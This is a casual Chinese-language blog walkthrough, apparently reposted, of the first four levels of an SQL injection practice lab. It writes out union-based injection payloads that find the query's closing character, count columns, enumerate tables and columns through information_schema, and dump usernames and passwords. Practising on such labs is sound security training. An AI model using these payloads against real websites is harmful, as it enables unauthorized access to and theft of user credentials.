本文共 2185 字,大约阅读时间需要 7 分钟。
第一步:判断闭合符号,输入单引号,看看是否报错,这里就报错了,当然注释符有好多种('、"、#、--+)这里输入单引号就行了,报错了。
?id=1'

?id=1' order by 1--+

(附图作参考,如果没有出现这个页面,那么就是SQL语句输入错误,检查语句。) 第三步:联合注入爆数据库令 id=非正确值,这里我使id=0。 至于为什么?哪有呢么多为什么、我也不知道,hhh🤣🤣🤣 ?id=0' union select 1,2,database()--+

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
看到了,那么大的username,password😁😁
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
0x3a意思是“:”
这都是哈哈哈,恭喜通关!✌✌✌✌ 第一步:还是先判断有无闭合符号,然后输入?id=1'
根据报错信息确定输入的内容被带入到数据库中,也可叫做数字型注入。懵逼了没,为什么?怎么看出来的?跟第一关有什么不同?再回过头去看看文章开头第一关那里能不能看出来就靠自己了,反正我是看懂了,hhh 跟第一关的步骤一样,只是,不再需要这个'单引号了。 就不再重复了,我把结果放出来吧,证明是可行的。😜😜😜
第三关和前面一样,只是闭合符号又不一样这次的是,看圆括号
好了,其他还是跟上面一样,不说了,太困了,啊啊!睡觉,,今天又熬夜了,心疼我的头发,害!!对了,留一张图,证明我来过。。。。。
晚安,来不及回首说拜拜。 上面是一条华丽的分界线,进行下一关
第一步仍然是判断闭合符号,先判断单引号
没有报错。那就不是,再试双引号
报错,根据报错信息判断出输入的内容被放到一对双引号和圆括号中啦。 接下来就该判断列数, ?id=1") order by 1--+
还是到4报错了,
到这里,不判断他的数据库名来试试,直接爆表名,(我看其他博主的博客有这么做的,我也来试试,省去爆库的步骤了) ?id=0") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

解释一下哈,刚没有爆库名,所以我不知道在哪个库里面,然后,我把语句改成这样啦where table_schema=database()就是从table_schema=database(),这个库里直接爆表,也是可以的。目前刚了解到,还是先老老实实的爆先爆库名。 继续继续hhh,爆列: ?id=0") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
跟前几关一样了
最后爆值, ?id=0") union select 1,group_concat(username,0x3a,password),3 from users--+
OK,收工~
转载地址:http://ppshz.baihongyu.com/